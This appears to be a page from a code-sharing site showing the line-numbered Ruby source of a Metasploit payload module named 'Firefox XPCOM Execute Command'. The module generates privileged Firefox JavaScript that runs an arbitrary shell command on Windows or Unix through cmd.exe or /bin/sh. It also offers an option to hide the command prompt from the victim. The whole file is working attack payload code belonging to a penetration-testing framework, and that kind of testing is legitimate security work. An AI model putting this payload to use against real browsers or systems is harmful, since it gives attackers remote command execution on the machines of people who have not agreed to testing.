Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7

8
  CachedSize = 1019
9

10
  include Msf::Payload::Single
11
  include Msf::Payload::Firefox
12

13
  def initialize(info={})
14
    super(merge_info(info,
15
      'Name'          => 'Firefox XPCOM Execute Command',
16
      'Description'   => %Q|
17
        This module runs a shell command on the target OS without touching the disk.
18
        On Windows, this command will flash the command prompt momentarily.
19
        This can be avoided by setting WSCRIPT to true, which drops a jscript
20
        "launcher" to disk that hides the prompt.
21
      |,
22
      'Author'        => ['joev'],
23
      'License'       => BSD_LICENSE,
24
      'Platform'      => 'firefox',
25
      'Arch'          => ARCH_FIREFOX
26
    ))
27
    register_options([
28
      OptString.new('CMD', [true, "The command string to execute", 'touch /tmp/a.txt']),
29
      OptBool.new('WSCRIPT', [true, "On Windows, drop a vbscript to hide the cmd prompt", false])
30
    ])
31
  end
32

33
  def generate(_opts = {})
34
    <<-EOS
35

36
      (function(){
37
        window = this;
38
        #{read_file_source if datastore['WSCRIPT']}
39
        #{run_cmd_source if datastore['WSCRIPT']}
40

41
        var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]
42
        .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
43
        var windows = (ua.indexOf("Windows")>-1);
44

45
        var cmd = (#{JSON.unparse({ :cmd => datastore['CMD'] })}).cmd;
46
        if (#{datastore['WSCRIPT']} && windows) {
47
          runCmd(cmd);
48
        } else {
49
          var process = Components.classes["@mozilla.org/process/util;1"]
50
                          .createInstance(Components.interfaces.nsIProcess);
51
          var sh = Components.classes["@mozilla.org/file/local;1"]
52
                    .createInstance(Components.interfaces.nsILocalFile);
53
          var args;
54
          if (windows) {
55
            sh.initWithPath("C:\\\\Windows\\\\System32\\\\cmd.exe");
56
            args = ["/c", cmd];
57
          } else {
58
            sh.initWithPath("/bin/sh");
59
            args = ["-c", cmd];
60
          }
61
          process.init(sh);
62
          process.run(true, args, args.length);
63
        }
64
      })();
65

66
    EOS
67
  end
68
end
69

70